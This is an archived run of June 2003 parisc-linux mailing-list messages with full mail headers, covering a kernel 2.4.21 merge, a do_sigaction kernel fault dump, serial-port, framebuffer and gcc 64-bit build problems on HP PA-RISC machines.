In-Reply-To: <20030614234039.GB5805@riverrock.org>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18660

On Sat, Jun 14, 2003 at 05:40:39PM -0600, Paul Bame wrote:
> On Fri, Jun 13, 2003 at 04:49:51PM +0100, Matthew Wilcox wrote:
> > Paul, would you be so kind as to do the honours?
> > I don't see any reason to hold off on merging 2.4.21 into our tree;
> > we can deal with any brokenness in the 2.4 tree later.
> 
> Hmm, bad timing, maybe Tuesday.  That ok?

We've waited 9 months for 2.4.21, I guess we can wait another 4 days ;-)

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.5.71-pa1 do_sigaction problem
Date: Sun, 15 Jun 2003 09:52:19 +0000 (UTC)
Lines: 86
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.53.0306150945230.651@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622512 26675 80.91.229.3 (22 Nov 2014 02:15:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 15 03:52:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2C1C8482C
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Jun 2003 03:52:57 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP id F2B3A1FFFBA
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Jun 2003 11:52:55 +0200 (CEST)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id D3A331FFFB9; Sun, 15 Jun 2003 11:52:54 +0200 (CEST)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id A72D9153A1; Sun, 15 Jun 2003 09:52:19 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP id 9CD6F15384
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Jun 2003 09:52:19 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18661

Hi,

already had this problem with 2.5.70.
This is a monolithic kernel, modules=no on 715/100.

gcc is		gcc version 3.3 (Debian) [3.3-3]
binutils 	2.14.90.0.4-0

anyhing I can do best to trace this ?

--- cut ---
......
VFS: Mounted root (ext2 filesystem) readonly.
Freeing unused kernel memory: 432k freed

Stack Dump:
 10030200:  0006ff0e 102bd000 100376c0 00000000
 100301f0:  00027670 00026e70 102bd000 00027670
 100301e0:  102a8010 15fb8ca4 00000003 ffffffe0
 100301d0:  100376c0 0000003f 00000040 15fb8d48
 100301c0:  00000000 102bd000 102a8010 102a8010
 100301b0:  0900deee 1012ffac 00020002 15ff1000
 100301a0:  00020002 faf00078 00000001 00000003
 10030190:  00020002 15ff1000 00020002 00000000
 10030180:  15ffe820 40180000 40026fb4 4017fcc8
 10030170:  40181cf8 1010642c 102b9020 faf010a8
 10030160:  15efa6d4 10349960 15ff726c ffffffea
 10030150:  100300d8 00000000 0000000e faf00078
 10030140:  00000001 40001f5f faf00140 1030d810
 10030130:  1036b920 101304b4 00000000 00000001
 10030120:  00000003 15efa6d4 15ff1000 faf00348
 10030110:  4017e33c 00000000 00000001 00000000
 10030100:  000272ae 00000001 100376c0 102bd000
 100300f0:  faf00348 4017e33c 00000000 faf00fc0
 100300e0:  faf00000 00000001 faf00348 00000000
 100300d0:  00000000 00000000 00027456 00000001
 100300c0:  faf005c0 00000000 00000000 00000000
 100300b0:  00000000 1010afe8 00000000 00000000
 100300a0:  00000000 10290140 000002eb 4002f014
 10030090:  40028850 00000000 00000000 40015340
 10030080:  00000001 00000000 00000000 00000000
 10030070:  00000000 1010a088 00000000 00000000
 10030060:  00000000 00000000 00000000 00000000
 10030050:  00000000 00000000 00000000 00000000
 10030040:  00000000 00000000 00000000 00000000
 10030030:  00000000 00000000 00000000 00000000
 10030020:  00000000 00000000 00000000 00000000
 10030010:  00000001 00000000 00000000 102be8e4

Kernel addresses on the stack:
 [<1012ffac>] do_sigaction+0xe0/0x290
 [<1010642c>] handle_interruption+0x274/0x5b4
 [<101304b4>] sys_rt_sigaction+0x7c/0xc4
 [<1010afe8>] syscall_exit+0x0/0x28
 [<1010a088>] intr_check_sig+0x0/0xc


Kernel Fault: Code=15 regs=10030200 (Addr=00027454)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111100001110 Not tainted
r00-03  00000000 102e97c0 1012ffac 00027454
r04-07  00000000 0000000d 0000000e 15fb8d54
r08-11  100300c8 00027670 102bd000 00026e70
r12-15  00027670 00000000 100376c0 102bd000
r16-19  102a8010 102a8010 0900deee 102a8010
r20-23  00001000 00027457 000000e0 0000000c
r24-27  00000000 00000000 00027456 102a8010
r28-31  00027456 00000400 10030200 40061097
sr0-3   00000001 00000001 00000000 00000001
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 101a0ce4 101a0ce8
 IIR: 0c601094    ISR: 00000000  IOR: 00027454
 CPU:        0   CR30: 10030000 CR31: 102ec000
 ORIG_R28: 000014f4
 IAOQ[0]: __canonicalize_funcptr_for_compare+0x38/0x134
 IAOQ[1]: __canonicalize_funcptr_for_compare+0x3c/0x134
 RP(r2): do_sigaction+0xe0/0x290

--- cut ---

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/


From - Thu Nov 08 21:28:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric Huiban <grompf@grompf.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Serial port problem.
Date: Sun, 15 Jun 2003 15:43:59 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <E19RXnb-0000LH-00@tyrann>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622512 26679 80.91.229.3 (22 Nov 2014 02:15:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 15 07:42:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from server.pyrenet.fr (server.pyrenet.fr [194.250.190.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 63D26482C
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Jun 2003 07:42:28 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by localhost.pyrenet.fr (Postfix) with ESMTP id 2244722ED7
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Jun 2003 15:42:27 +0200 (MET DST)
Original-Received: from server.pyrenet.fr ([127.0.0.1])
 by localhost (server [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
 id 19228-03 for <parisc-linux@lists.parisc-linux.org>;
 Sun, 15 Jun 2003 15:42:05 +0200 (MET DST)
Original-Received: from tyrann (numeris158.pyrenet.fr [194.250.190.158])
	by server.pyrenet.fr (Postfix) with ESMTP id 394BC22EA1
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Jun 2003 15:42:05 +0200 (MET DST)
Original-Received: from ehuiban by tyrann with local (Exim 3.35 #1 (Debian))
	id 19RXnb-0000LH-00
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Jun 2003 15:43:59 +0200
X-Mailer: KMail [version 1.3.2]
X-Virus-Scanned: by amavisd-new
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18662

Hi all,

I just need to install an 'old' modem (USR Sportster V34) on a freshly 
installed HP 9000/730. Using minicom i only managed to communicate
with the modem up to 19200bps. I'm using ttyS0 as backup console port and 
ttyS1 as modem port.

here is the content of my serial.conf generated during the debian 
installation :

###PORT STATE GENERATED USING AUTOSAVE-ONCE###
###AUTOSAVE-ONCE###
###AUTOSAVE###
#
[snip : comments]
/dev/ttyS0 uart 16550A port 0x0000 irq 90 baud_base 454545 spd_vhi
/dev/ttyS1 uart 16550A port 0x0000 irq 89 baud_base 454545 spd_vhi

Is there something specific to the HP 9000 computers , or just a little 
something i missed somewhere ?

Thant you all !

Eric Huiban, aka Grompf.


From - Thu Nov 08 21:28:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 2.4.21
Date: Sun, 15 Jun 2003 15:55:47 +0000
Lines: 29
Approved: news@gmane.org
Message-ID: <3EEC9703.5060108@tiscali.be>
References: <20030613154951.GA30843@parcelfarce.linux.theplanet.co.uk> <20030614234039.GB5805@riverrock.org> <20030615004130.GL30843@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622513 26683 80.91.229.3 (22 Nov 2014 02:15:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:13 +0000 (UTC)
Cc: Paul Bame <bame@riverrock.org>, parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 15 09:41:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6A473482C
	for <parisc-linux@parisc-linux.org>; Sun, 15 Jun 2003 09:41:15 -0600 (MDT)
Original-Received: from [62.235.169.89] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19RZcz-0004II-00; Sun, 15 Jun 2003 17:41:10 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3.1) Gecko/20030527 Debian/1.3.1-2
X-Accept-Language: en
In-Reply-To: <20030615004130.GL30843@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18663

Matthew Wilcox wrote:

>On Sat, Jun 14, 2003 at 05:40:39PM -0600, Paul Bame wrote:
>  
>
>>On Fri, Jun 13, 2003 at 04:49:51PM +0100, Matthew Wilcox wrote:
>>    
>>
>>>Paul, would you be so kind as to do the honours?
>>>I don't see any reason to hold off on merging 2.4.21 into our tree;
>>>we can deal with any brokenness in the 2.4 tree later.
>>>      
>>>
>>Hmm, bad timing, maybe Tuesday.  That ok?
>>    
>>
>
>We've waited 9 months for 2.4.21, I guess we can wait another 4 days ;-)
>
>  
>
Even though merge seems to me easy, if my merge patch (a diff between 
2.4.21 vanilla and my stuff) would help you, let me know. I will so try 
to prepare it on monday.

Joel




From - Thu Nov 08 21:28:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 2.4.21
Date: Sun, 15 Jun 2003 16:44:32 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20030615154432.GO30843@parcelfarce.linux.theplanet.co.uk>
References: <20030613154951.GA30843@parcelfarce.linux.theplanet.co.uk> <20030614234039.GB5805@riverrock.org> <20030615004130.GL30843@parcelfarce.linux.theplanet.co.uk> <3EEC9703.5060108@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622513 26684 80.91.229.3 (22 Nov 2014 02:15:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:13 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Paul Bame <bame@riverrock.org>, parisc-linux@parisc-linux.org
To: Joel Soete <joel.soete@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 15 09:44:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6E6EF482C
	for <parisc-linux@parisc-linux.org>; Sun, 15 Jun 2003 09:44:34 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19RZgG-0006sJ-KK; Sun, 15 Jun 2003 16:44:32 +0100
Content-Disposition: inline
In-Reply-To: <3EEC9703.5060108@tiscali.be>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18664

On Sun, Jun 15, 2003 at 03:55:47PM +0000, Joel Soete wrote:
> Even though merge seems to me easy, if my merge patch (a diff between 
> 2.4.21 vanilla and my stuff) would help you, let me know. I will so try 
> to prepare it on monday.

The merge is not the problem; importing the new upstream version into
our CVS is the problem.

Having said that, when we're done, if you want to compare with your tree,
that would be useful.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 2.4.21
Date: Sun, 15 Jun 2003 16:21:02 +0000
Lines: 28
Approved: news@gmane.org
Message-ID: <3EEC9CEE.3070702@tiscali.be>
References: <20030613154951.GA30843@parcelfarce.linux.theplanet.co.uk> <20030614234039.GB5805@riverrock.org> <20030615004130.GL30843@parcelfarce.linux.theplanet.co.uk> <3EEC9703.5060108@tiscali.be> <20030615154432.GO30843@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622513 26687 80.91.229.3 (22 Nov 2014 02:15:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:13 +0000 (UTC)
Cc: Paul Bame <bame@riverrock.org>, parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 15 10:06:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 728CA482C
	for <parisc-linux@parisc-linux.org>; Sun, 15 Jun 2003 10:06:27 -0600 (MDT)
Original-Received: from [62.235.169.89] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19Ra1P-00057C-00; Sun, 15 Jun 2003 18:06:23 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3.1) Gecko/20030527 Debian/1.3.1-2
X-Accept-Language: en
In-Reply-To: <20030615154432.GO30843@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18665

Matthew Wilcox wrote:

>On Sun, Jun 15, 2003 at 03:55:47PM +0000, Joel Soete wrote:
>  
>
>>Even though merge seems to me easy, if my merge patch (a diff between 
>>2.4.21 vanilla and my stuff) would help you, let me know. I will so try 
>>to prepare it on monday.
>>    
>>
>
>The merge is not the problem; importing the new upstream version into
>our CVS is the problem.
>
I well understand this pb ;-)
may be opportunity to test svn?

>
>Having said that, when we're done, if you want to compare with your tree,
>that would be useful.
>
>  
>
Ok I will

Joel



From - Thu Nov 08 21:28:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: HP C180 video card
Date: Sun, 15 Jun 2003 10:19:48 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <20030615161948.GA12995@dsl2.external.hp.com>
References: <03f301c3309e$f0c78740$d908f3d8@uvsolutions> <20030613043356.GA7265@dsl2.external.hp.com> <3EEC9AC2.5070106@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622514 26693 80.91.229.3 (22 Nov 2014 02:15:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <joel.soete@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 15 10:19:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 83919482C; Sun, 15 Jun 2003 10:19:48 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3EEC9AC2.5070106@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18666

On Sun, Jun 15, 2003 at 04:11:46PM +0000, Joel Soete wrote:
> I tried to use a "PGX64 alias Rage xl " pluged in the first slot of my 
> b180L. It seems to be well supported by kernel 2.4.21 (modeprobe 
> ati128fb; # modules were well loaded).

cool - that's a good first step. I don't know where to go from there.

> But no success to make XFree86 
> works (fbset /dev/fb0 not found)

Maybe it's as simple as "mknod /dev/fb0 ..." ?
if the driver loads without complaining, I'd expect fbset command
to work too.

> and even when I change console path to 
> graphics(1[a]) I never reach to obtain boot prompt on the screen (which 
> never seems to recieve init signal?).

PDC/IODC/STI won't know anything about the Rage XL card.
There's no way you can use that as a console.

> I do not understand, it seems to be a common pci gfx card? any idea?

I don't either really. Just guessing.

grant


From - Thu Nov 08 21:28:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Can't configure gcc with --target=hppa64-linux
Date: Sun, 15 Jun 2003 20:57:17 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <200306152057.17848.gmsoft@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622514 26695 80.91.229.3 (22 Nov 2014 02:15:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 15 13:00:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from server.da-kot (21-40.CampusNet.ucl.ac.be [130.104.21.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 607EA482C
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Jun 2003 13:00:04 -0600 (MDT)
Original-Received: from gmsoft.tuxicoman.be ([2001:6f8:204:20:210:a7ff:fe10:1a3e])
	by server.da-kot with esmtp (Exim 3.36 #1 (Debian))
	id 19RcjW-0004Qd-00
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Jun 2003 21:00:06 +0200
User-Agent: KMail/1.5.2
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18667

Hi,

I'm trying to build a 64bit gcc but the configuration script fail.

./configure --host=hppa2.0-unknown-linux-gnu --prefix=/usr 
--target=hppa64-linux --disable-shared --disable-nls --enable-64-bit-bfd  
--enable-languages=c
[snip]
checking for CHAR_BIT... yes
checking byte ordering... od: od.c:1324: read_block: Assertion `0 < n && n <= 
bytes_per_block' failed.
unknown
configure: error: *** unable to determine endianness
Configure in /var/tmp/portage/gcc-3.2.2/work/gcc-3.2.2/gcc failed, exiting.

What's wrong ?

Regards

-- 
Guy Martin
Gentoo - HPPA port Lead / IPv6 team
Lug Charleroi (Belgium)



From - Thu Nov 08 21:28:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Can't configure gcc with --target=hppa64-linux
Date: Sun, 15 Jun 2003 21:25:57 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <200306152125.57507.gmsoft@gentoo.org>
References: <200306152057.17848.gmsoft@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622514 26698 80.91.229.3 (22 Nov 2014 02:15:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 15 13:28:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from server.da-kot (21-40.CampusNet.ucl.ac.be [130.104.21.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id F2835483A
